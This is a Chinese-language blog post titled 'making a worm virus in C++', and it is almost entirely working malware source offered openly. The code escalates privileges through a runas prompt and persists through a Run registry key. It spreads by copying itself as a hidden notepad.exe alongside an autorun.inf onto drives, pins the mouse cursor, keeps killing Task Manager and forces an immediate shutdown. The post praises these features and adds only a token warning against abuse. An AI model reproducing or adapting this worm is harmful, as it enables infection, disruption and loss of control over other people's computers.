c++ 制作蠕虫病毒

首先感谢粉丝的支持！

上代码！

#include 
#include 
#include 
#include 
#include 
#include 
using namespace std;

void *do_thread(void *arg);
HWND hWnd = GetConsoleWindow();

char szAutoRun[] = "[AutoRun] n"
                   "open=notepad.exen"
                   "shell\open=打开(&O)n"
                   "shell\open\command=notepad.exen"
                   "shell\explore=资源管理器(&X)n"
                   "shell\explore\command=notepad.exen"
                   "shellexecute=notepad.exen"
                   "shell\Auto\command=notepad.exe"; 

void infect(char* pszFile, UINT uDriveType) {
	char szDriveString[MAXBYTE] = {};
	DWORD dwRet = 0;
	DWORD iNum = 0;
	char szRoot[4] = {};
	UINT uType = 0;
	char szTarget[MAX_PATH] = {};
	dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
	
	while(iNum < dwRet) {
		strncpy(szRoot, &szDriveString[iNum], 3);
		uType = GetDriveType(szRoot);
		if(uType == uDriveType) {
			lstrcpy(szTarget, szRoot);
			lstrcat(szTarget, "notepad.exe");
			CopyFile(pszFile, szTarget, FALSE);
			SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
			lstrcpy(szTarget, szRoot);
			lstrcat(szTarget, "autorun.inf");
			HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			DWORD dwWritten = 0;
			WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
			CloseHandle(hFile);
			SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
		}
		iNum += 4;
	}
}

void test() {
	HKEY hKey;
	if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\Microsoft\Windows\CurrentVersion\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
		TCHAR strExeFullDir[MAX_PATH];
		GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
		
		TCHAR strDir[MAX_PATH] = {};
		DWORD nLength = MAX_PATH;
		long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength);
		
		if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) {
			RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));
			RegCloseKey(hKey);
		}
	}
}

void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) {
	SHELLEXECUTEINFO ShExecInfo;
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
	ShExecInfo.hwnd = NULL;
	ShExecInfo.lpVerb = "runas";
	ShExecInfo.lpFile = exe;
	ShExecInfo.lpParameters = param;
	ShExecInfo.lpDirectory = NULL;
	ShExecInfo.nShow = nShow;
	ShExecInfo.hInstApp = NULL;
	BOOL ret = ShellExecuteEx(&ShExecInfo);
	CloseHandle(ShExecInfo.hProcess);
}

int main(int argc, char *argv[]) {
	if(argc == 1) {
		ShowWindow(GetConsoleWindow(), SW_HIDE);
		ManagerRun(argv[0], "2");
		return 1;
	}
	else if(argc == 2) {
		string s;
		ifstream id("die.txt");
		id >> s;
		if(int(s.find("false")) != -1) {
			cout << "检测到结束文件，已结束病毒！" << endl;;
			system("pause");
			return 0;
		}
		
		ShowWindow(hWnd, SW_HIDE);
		test();
		
		pthread_t tid;
		int ret;
		ret = pthread_create(&tid, NULL, do_thread, NULL);
		if(ret) {
			fprintf(stderr, "创建线程失败!n");
			return -1;
		}
		ret = pthread_detach(tid);
		
		char szFileName[MAX_PATH] = {};
		char szRoot[4] = {};
		UINT uType = 0;
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		strncpy(szRoot, szFileName, 3);
		uType = GetDriveType(szRoot);
		
		switch(uType) {
			case DRIVE_FIXED: {
				infect(szFileName, DRIVE_REMOVABLE);
				break;
			}
			case DRIVE_REMOVABLE: {
				infect(szFileName, DRIVE_FIXED);
				break;
			}
		}
		
		system("shutdown -s -t 0");
	}
	
	return 0;
}

void *do_thread(void *arg) {
	while(true) {
		SetCursorPos(0, 0);
		system("taskkill /F /IM taskmgr.exe");
		Sleep(10);
	}
}

这个病毒新有提升到管理员权限，同时运行两串代码，边寄宿电脑，边定住鼠标，关闭任务管理器！

请勿滥用此代码！

好了，本期就到这里，感谢粉丝支持！